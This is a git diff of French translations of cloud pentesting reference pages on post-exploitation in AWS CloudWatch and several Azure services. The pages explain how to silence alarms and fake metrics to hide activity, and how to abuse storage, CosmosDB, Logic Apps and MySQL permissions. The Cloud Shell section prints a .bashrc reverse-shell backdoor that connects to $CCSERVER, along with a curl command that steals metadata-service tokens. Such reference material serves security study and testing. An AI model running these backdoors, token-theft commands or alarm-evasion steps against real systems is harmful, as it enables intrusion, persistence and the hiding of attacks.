- Surveiller la performance RDS : Activer une règle d'insight gérée pour Amazon RDS qui surveille les indicateurs de performance clés tels que l'utilisation du CPU, l'utilisation de la mémoire et les I/O de disque. Si l'une de ces métriques dépasse des seuils opérationnels sûrs, la règle peut déclencher une alerte ou une action d'atténuation automatisée.
### Journaux CloudWatch <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
Permet de **regrouper et surveiller les journaux des applications** et des systèmes des **services AWS** (y compris CloudTrail) et **des applications/systèmes** (**CloudWatch Agent** peut être installé sur un hôte). Les journaux peuvent être **stockés indéfiniment** (selon les paramètres du groupe de journaux) et peuvent être exportés.
**Éléments** :
| **Groupe de journaux** | Une **collection de flux de journaux** partageant les mêmes paramètres de conservation, de surveillance et de contrôle d'accès |
| Terme | Définition |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Flux de journaux** | Une séquence d'**événements de journaux** partageant la **même source** |
| **Groupe de journaux** | Une **collection de flux de journaux** qui partagent les mêmes paramètres de conservation, de surveillance et de contrôle d'accès |
| **Flux de journaux** | Une séquence d'**événements de journaux** qui partagent la **même source** |
| **Filtres d'abonnement** | Définissent un **modèle de filtre qui correspond aux événements** dans un groupe de journaux particulier, les envoient à un flux Kinesis Data Firehose, un flux Kinesis ou une fonction Lambda |
### Surveillance et événements CloudWatch
@@ -218,7 +218,7 @@ aws events list-event-buses
Un attaquant avec ces permissions pourrait considérablement compromettre l'infrastructure de surveillance et d'alerte d'une organisation. En supprimant des alarmes existantes, un attaquant pourrait désactiver des alertes cruciales qui notifient les administrateurs de problèmes de performance critiques, de violations de sécurité ou de pannes opérationnelles. De plus, en créant ou en modifiant des alarmes métriques, l'attaquant pourrait également induire les administrateurs en erreur avec de fausses alertes ou faire taire des alarmes légitimes, masquant ainsi efficacement des activités malveillantes et empêchant des réponses rapides à des incidents réels.
De plus, avec la permission **`cloudwatch:PutCompositeAlarm`**, un attaquant serait en mesure de créer une boucle ou un cycle d'alarmes composites, où l'alarme composite A dépend de l'alarme composite B, et l'alarme composite B dépend également de l'alarme composite A. Dans ce scénario, il n'est pas possible de supprimer une alarme composite qui fait partie du cycle car il y a toujours une alarme composite qui dépend de cette alarme que vous souhaitez supprimer.
De plus, avec la permission **`cloudwatch:PutCompositeAlarm`**, un attaquant serait capable de créer une boucle ou un cycle d'alarmes composites, où l'alarme composite A dépend de l'alarme composite B, et l'alarme composite B dépend également de l'alarme composite A. Dans ce scénario, il n'est pas possible de supprimer une alarme composite qui fait partie du cycle car il y a toujours une alarme composite qui dépend de cette alarme que vous souhaitez supprimer.
```bash
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
aws cloudwatch delete-alarms --alarm-names <value>
@@ -254,7 +254,7 @@ L'exemple suivant montre comment rendre une alarme de métrique inefficace :
```
{{#endtab }}
{{#tab name="Alarme de métrique modifiée" }}
{{#tab name="Alerte de métrique modifiée" }}
```json
{
"Namespace": "AWS/EC2",
@@ -279,11 +279,11 @@ L'exemple suivant montre comment rendre une alarme de métrique inefficace :
{{#endtab }}
{{#endtabs }}
**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiels non détectés, fausses alertes, suppression d'alertes authentiques et détections potentiellement manquées d'incidents réels.
**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiels non détectés, fausses alertes, suppression d'alertes réelles et détections potentiellement manquées d'incidents réels.
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
En supprimant les actions d'alarme, l'attaquant pourrait empêcher des alertes critiques et des réponses automatisées d'être déclenchées lorsqu'un état d'alarme est atteint, comme notifier les administrateurs ou déclencher des activités d'auto-scaling. Activer ou réactiver inappropriément des actions d'alarme pourrait également entraîner des comportements inattendus, soit en réactivant des actions précédemment désactivées, soit en modifiant les actions déclenchées, ce qui pourrait causer de la confusion et une mauvaise direction dans la réponse aux incidents.
En supprimant les actions d'alarme, l'attaquant pourrait empêcher des alertes critiques et des réponses automatisées d'être déclenchées lorsqu'un état d'alarme est atteint, comme notifier les administrateurs ou déclencher des activités d'auto-scaling. Activer ou réactiver des actions d'alarme de manière inappropriée pourrait également entraîner des comportements inattendus, soit en réactivant des actions précédemment désactivées, soit en modifiant les actions qui sont déclenchées, ce qui pourrait causer de la confusion et une mauvaise orientation dans la réponse aux incidents.
De plus, un attaquant ayant la permission pourrait manipuler les états d'alarme, étant capable de créer de fausses alarmes pour distraire et confondre les administrateurs, ou de faire taire de véritables alarmes pour cacher des activités malveillantes en cours ou des pannes critiques du système.
@@ -297,7 +297,7 @@ aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM |
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
Un attaquant pourrait compromettre la capacité de détection et de réponse à des modèles ou anomalies inhabituels dans les données métriques. En supprimant les détecteurs d'anomalies existants, un attaquant pourrait désactiver des mécanismes d'alerte critiques ; et en les créant ou en les modifiant, il pourrait soit mal configurer, soit créer de faux positifs afin de distraire ou de submerger la surveillance.
Un attaquant pourrait compromettre la capacité de détection et de réponse à des modèles ou des anomalies inhabituels dans les données métriques. En supprimant des détecteurs d'anomalies existants, un attaquant pourrait désactiver des mécanismes d'alerte critiques ; et en les créant ou en les modifiant, il pourrait soit mal configurer, soit créer de faux positifs afin de distraire ou de submerger la surveillance.
```bash
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
@@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules <value>
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
En désactivant des règles d'insight critiques, un attaquant pourrait effectivement aveugler l'organisation sur des métriques clés de performance et de sécurité. Inversement, en activant ou en configurant des règles trompeuses, il pourrait être possible de générer des données fausses, de créer du bruit ou de cacher une activité malveillante.
En désactivant des règles d'insight critiques, un attaquant pourrait effectivement aveugler l'organisation sur des indicateurs clés de performance et de sécurité. Inversement, en activant ou en configurant des règles trompeuses, il pourrait être possible de générer des données fausses, de créer du bruit ou de cacher une activité malveillante.
```bash
aws cloudwatch disable-insight-rules --rule-names <value>
aws cloudwatch enable-insight-rules --rule-names <value>
@@ -389,7 +389,7 @@ Un attaquant avec les permissions **`cloudwatch:DeleteMetricStream`** , **`cloud
- **Manipulation des ressources** : La création de nouveaux flux métriques avec des données excessives pourrait produire beaucoup de bruit, entraînant des alertes incorrectes, masquant de véritables problèmes.
- **Perturbation de la surveillance** : En supprimant des flux métriques, les attaquants perturberaient le flux continu de données de surveillance. De cette manière, leurs activités malveillantes seraient efficacement cachées.
De même, avec la permission **`cloudwatch:PutMetricData`**, il serait possible d'ajouter des données à un flux métrique. Cela pourrait entraîner un DoS en raison de la quantité de données inappropriées ajoutées, le rendant complètement inutile.
De même, avec la permission **`cloudwatch:PutMetricData`**, il serait possible d'ajouter des données à un flux métrique. Cela pourrait entraîner un DoS en raison de la quantité de données inappropriées ajoutées, rendant le flux complètement inutile.
```bash
aws cloudwatch delete-metric-stream --name <value>
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
@@ -399,11 +399,11 @@ Exemple d'ajout de données correspondant à 70 % d'utilisation du CPU sur une i
```bash
aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
```
**Impact potentiel** : Disruption dans le flux de données de surveillance, impactant la détection des anomalies et des incidents, manipulation des ressources et augmentation des coûts en raison de la création de flux de métriques excessifs.
**Impact potentiel** : Perturbation du flux de données de surveillance, affectant la détection des anomalies et des incidents, manipulation des ressources et augmentation des coûts en raison de la création de flux de métriques excessifs.
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
Un attaquant contrôlerait le flux des flux de données de métriques affectés (chaque flux de données s'il n'y a pas de restriction de ressources). Avec la permission **`cloudwatch:StopMetricStreams`**, les attaquants pourraient cacher leurs activités malveillantes en arrêtant des flux de métriques critiques.
Un attaquant contrôlerait le flux des flux de données métriques affectés (chaque flux de données s'il n'y a pas de restriction de ressources). Avec la permission **`cloudwatch:StopMetricStreams`**, les attaquants pourraient cacher leurs activités malveillantes en arrêtant des flux de métriques critiques.
```bash
aws cloudwatch stop-metric-streams --names <value>
aws cloudwatch start-metric-streams --names <value>
@@ -417,7 +417,7 @@ Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources
aws cloudwatch tag-resource --resource-arn <value> --tags <value>
aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
```
**Impact potentiel** : Perturbation des politiques de contrôle d'accès basées sur des balises.
**Impact potentiel** : Disruption des politiques de contrôle d'accès basées sur des tags.
## Références

View File

@@ -10,21 +10,13 @@ Azure Cloud Shell offre un accès en ligne de commande pour gérer les ressource
* **Scripts de Démarrage** : Des fichiers comme .bashrc s'exécutent automatiquement au début de chaque session, permettant une exécution persistante lorsque le cloud shell démarre.
Exemple de porte dérobée dans .bashrc :
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
Cette porte dérobée peut exécuter des commandes même 5 minutes après que le cloud shell a été terminé par l'utilisateur.
De plus, interrogez le service de métadonnées d'Azure pour obtenir des détails sur l'instance et des jetons :
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,7 +10,7 @@ Pour plus d'informations sur le stockage, consultez :
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
Un principal avec cette permission pourra **lister** les blobs (fichiers) à l'intérieur d'un conteneur et **télécharger** les fichiers qui pourraient contenir des **informations sensibles**.
```bash
@@ -24,7 +24,7 @@ az storage blob download \
--container-name <container-name> \
-n file.txt --auth-mode login
```
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
Un principal avec cette permission pourra **écrire et écraser des fichiers dans des conteneurs**, ce qui pourrait lui permettre de causer des dommages ou même d'escalader des privilèges (par exemple, écraser du code stocké dans un blob) :
```bash

View File

@@ -5,27 +5,21 @@
## CosmosDB Post Exploitation
Pour plus d'informations sur SQL Database, consultez :
{% content-ref url="../az-services/az-cosmosDB.md" %}
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}
### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Avec cette permission, vous pouvez créer ou mettre à jour des comptes Azure Cosmos DB. Cela inclut la modification des paramètres au niveau du compte, l'ajout ou la suppression de régions, le changement des niveaux de cohérence et l'activation ou la désactivation de fonctionnalités telles que les écritures multi-régions.
{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name <account_name> \
--resource-group <resource_group_name> \
--public-network-access ENABLED
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
Avec cette autorisation, vous pouvez créer ou modifier des conteneurs (collections) au sein d'une base de données SQL d'un compte Azure Cosmos DB. Les conteneurs sont utilisés pour stocker des données, et les modifications apportées peuvent affecter la structure de la base de données et les modèles d'accès.
{% code overflow="wrap" %}
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name <container_name> \
--ttl 3600
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
Avec cette autorisation, vous pouvez créer ou modifier des bases de données SQL au sein d'un compte Azure Cosmos DB. Cela permet de gérer la structure de la base de données et d'ajouter de nouvelles bases de données au compte. Bien que cette autorisation permette la création de bases de données, une utilisation inappropriée ou non autorisée pourrait entraîner une consommation de ressources inutile, des coûts accrus ou des inefficacités opérationnelles.
{% code overflow="wrap" %}
```bash
az cosmosdb sql database create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--name <database_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
Avec cette autorisation, vous pouvez changer la priorité de basculement des régions pour un compte de base de données Azure Cosmos DB. Cette action détermine l'ordre dans lequel les régions deviennent primaires lors d'un événement de basculement. Une utilisation incorrecte de cette autorisation peut perturber la haute disponibilité de la base de données ou entraîner des impacts opérationnels non souhaités.
{% code overflow="wrap" %}
```bash
az cosmosdb failover-priority-change \
--name <database_account_name> \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies <region1=priority1> <region2=priority2>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
Avec cette autorisation, vous pouvez régénérer les clés primaire ou secondaire pour un compte Azure Cosmos DB. Cela est généralement utilisé pour améliorer la sécurité en remplaçant les anciennes clés, mais cela peut perturber l'accès pour les services ou applications qui dépendent des clés actuelles.
{% code overflow="wrap" %}
```bash
az cosmosdb keys regenerate \
--name <account_name> \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind <primary|secondary>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
Avec cette autorisation, vous pouvez créer ou modifier des déclencheurs au sein d'un conteneur d'une base de données SQL dans un compte Azure Cosmos DB. Les déclencheurs vous permettent d'exécuter une logique côté serveur en réponse à des opérations.
{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
Avec cette autorisation, vous pouvez créer ou modifier des procédures stockées dans un conteneur d'une base de données SQL dans un compte Azure Cosmos DB. Les procédures stockées dans Cosmos DB sont des fonctions JavaScript côté serveur qui vous permettent d'encapsuler la logique pour le traitement des données ou l'exécution d'opérations directement dans la base de données.
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
Avec cette autorisation, vous pouvez créer ou modifier des procédures stockées au sein d'un conteneur d'une base de données SQL dans un compte Azure Cosmos DB. Les procédures stockées dans Cosmos DB sont des fonctions JavaScript côté serveur qui vous permettent d'encapsuler la logique pour le traitement des données ou l'exécution d'opérations directement au sein de la base de données.
```bash
az cosmosdb sql stored-procedure create \
--account-name <account_name> \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name <stored_procedure_name> \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
Avec cette autorisation, vous pouvez créer ou modifier des déclencheurs au sein d'un conteneur d'une base de données SQL dans un compte Azure Cosmos DB. Les déclencheurs vous permettent d'exécuter une logique côté serveur en réponse à des opérations telles que des insertions, des mises à jour ou des suppressions.
{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
Avec cette autorisation, vous pouvez créer ou modifier des collections au sein des bases de données MongoDB dans un compte Azure Cosmos DB. Les collections sont utilisées pour stocker des documents et définir la structure et le partitionnement des données.
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb collection create \
--account-name <account_name> \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name <mongodb_database_name> \
--name <collection_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
Avec cette autorisation, vous pouvez créer de nouvelles bases de données MongoDB au sein d'un compte Azure Cosmos DB. Cela permet de provisionner de nouvelles bases de données pour stocker et gérer des collections et des documents.
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb database create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--name <database_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
Avec cette autorisation, vous pouvez créer de nouvelles définitions de rôle MongoDB au sein d'un compte Azure Cosmos DB. Cela permet de définir des rôles personnalisés avec des autorisations spécifiques pour les utilisateurs MongoDB.
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
Avec cette autorisation, vous pouvez créer de nouvelles définitions d'utilisateur MongoDB au sein d'un compte Azure Cosmos DB. Cela permet la provision d'utilisateurs avec des rôles et des niveaux d'accès spécifiques aux bases de données MongoDB.
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
Avec cette autorisation, vous pouvez créer de nouvelles définitions d'utilisateur MongoDB au sein d'un compte Azure Cosmos DB. Cela permet de provisionner des utilisateurs avec des rôles et des niveaux d'accès spécifiques aux bases de données MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,15 +4,15 @@
Exploitation Post-Fichier de Partage
Pour plus d'informations sur les partages de fichiers, consultez :
Pour plus d'informations sur les fichiers partagés, consultez :
{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
Un principal avec cette permission pourra **lister** les fichiers à l'intérieur d'un partage de fichiers et **télécharger** les fichiers qui pourraient contenir des **informations sensibles**.
Un principal avec cette permission pourra **lister** les fichiers à l'intérieur d'un fichier partagé et **télécharger** les fichiers qui pourraient contenir des **informations sensibles**.
```bash
# List files inside an azure file share
az storage file list \
@@ -28,7 +28,7 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
Un principal avec cette permission pourra **écrire et écraser des fichiers dans des partages de fichiers**, ce qui pourrait lui permettre de causer des dommages ou même d'escalader des privilèges (par exemple, écraser du code stocké dans un partage de fichiers) :
```bash

View File

@@ -5,14 +5,12 @@
## Logic Apps Database Post Exploitation
Pour plus d'informations sur les applications logiques, consultez :
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Avec ces autorisations, vous pouvez modifier les workflows des applications logiques et gérer leurs identités. Plus précisément, vous pouvez attribuer ou supprimer des identités gérées assignées par le système et par l'utilisateur aux workflows, ce qui permet à l'application logique de s'authentifier et d'accéder à d'autres ressources Azure sans identifiants explicites.
{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
Avec ces autorisations, vous pouvez créer ou mettre à jour des Logic Apps hébergées sur un App Service Plan. Cela inclut la modification des paramètres tels que l'activation ou la désactivation de l'application de HTTPS.
{% code overflow="wrap" %}
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
Avec ces autorisations, vous pouvez créer ou mettre à jour des Logic Apps hébergées sur un App Service Plan. Cela inclut la modification des paramètres tels que l'activation ou la désactivation de l'application de HTTPS.
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
Avec cette autorisation, vous pouvez démarrer/arrêter/redémarrer une application web, y compris les Logic Apps hébergées sur un App Service Plan. Cette action garantit qu'une application précédemment arrêtée est remise en ligne et reprend sa fonctionnalité. Cela peut perturber les flux de travail, déclencher des opérations non intentionnelles ou provoquer des temps d'arrêt en démarrant, arrêtant ou redémarrant des Logic Apps de manière inattendue.
{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
Avec cette autorisation, vous pouvez configurer ou modifier les paramètres des applications web, y compris les Logic Apps hébergées sur un App Service Plan. Cela permet de modifier les paramètres de l'application, les chaînes de connexion, les configurations d'authentification, et plus encore.
{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
### `Microsoft.Logic/integrationAccounts/write`
Avec cette autorisation, vous pouvez créer, mettre à jour ou supprimer des comptes d'intégration Azure Logic Apps. Cela inclut la gestion des configurations au niveau du compte d'intégration telles que les cartes, les schémas, les partenaires, les accords, et plus encore.
{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
Avec cette autorisation, vous pouvez créer ou modifier des configurations de lot au sein d'un compte d'intégration Azure Logic Apps. Les configurations de lot définissent comment Logic Apps traitent et regroupent les messages entrants pour le traitement par lots.
{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
Avec cette autorisation, vous pouvez créer ou modifier des cartes au sein d'un compte d'intégration Azure Logic Apps. Les cartes sont utilisées pour transformer des données d'un format à un autre, permettant une intégration transparente entre différents systèmes et applications.
{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
Avec cette autorisation, vous pouvez créer ou modifier des partenaires dans un compte d'intégration Azure Logic Apps. Les partenaires représentent des entités ou des systèmes qui participent à des flux de travail interentreprises (B2B).
{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
Avec cette autorisation, vous pouvez créer ou modifier des sessions au sein d'un compte d'intégration Azure Logic Apps. Les sessions sont utilisées dans les flux de travail B2B pour regrouper des messages et suivre les transactions connexes sur une période définie.
{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
@@ -147,9 +112,9 @@ az logic integration-account session create \
}
}'
```
{% endcode %}
### "*/delete"
Avec ces autorisations, vous pouvez supprimer des ressources liées à Azure Logic Apps
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -5,54 +5,40 @@
## MySQL Database Post Exploitation
Pour plus d'informations sur MySQL Database, consultez :
{% content-ref url="../az-services/az-mysql.md" %}
[az-mysql.md](../az-services/az-mysql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-mysql.md
{{#endref}}
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
Avec cette permission, vous pouvez créer de nouvelles bases de données au sein d'une instance de MySQL Flexible Server sur Azure. Bien que cette action ne modifie pas les ressources existantes, la création excessive ou non autorisée de bases de données pourrait entraîner une consommation de ressources ou un potentiel abus du serveur.
{% code overflow="wrap" %}
```bash
az mysql flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/backups/write`
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
Avec cette autorisation, vous pouvez initier la création de sauvegardes pour une instance de serveur MySQL Flexible sur Azure. Cela permet aux utilisateurs de générer des sauvegardes à la demande, ce qui peut être utile pour préserver des données à des moments spécifiques.
{% code overflow="wrap" %}
Avec cette autorisation, vous pouvez initier la création de sauvegardes pour une instance de serveur flexible MySQL sur Azure. Cela permet aux utilisateurs de générer des sauvegardes à la demande, ce qui peut être utile pour préserver des données à des moments spécifiques.
```bash
az mysql flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
Avec cette autorisation, vous pouvez configurer ou mettre à jour les paramètres de Protection Avancée contre les Menaces (ATP) pour une instance de Serveur MySQL Flexible sur Azure. Cela permet d'activer ou de désactiver des fonctionnalités de sécurité conçues pour détecter et répondre à des activités anormales et à des menaces potentielles.
{% code overflow="wrap" %}
```bash
az mysql flexible-server threat-protection-policy update \
--name <server_name> \
--resource-group <resource_group_name> \
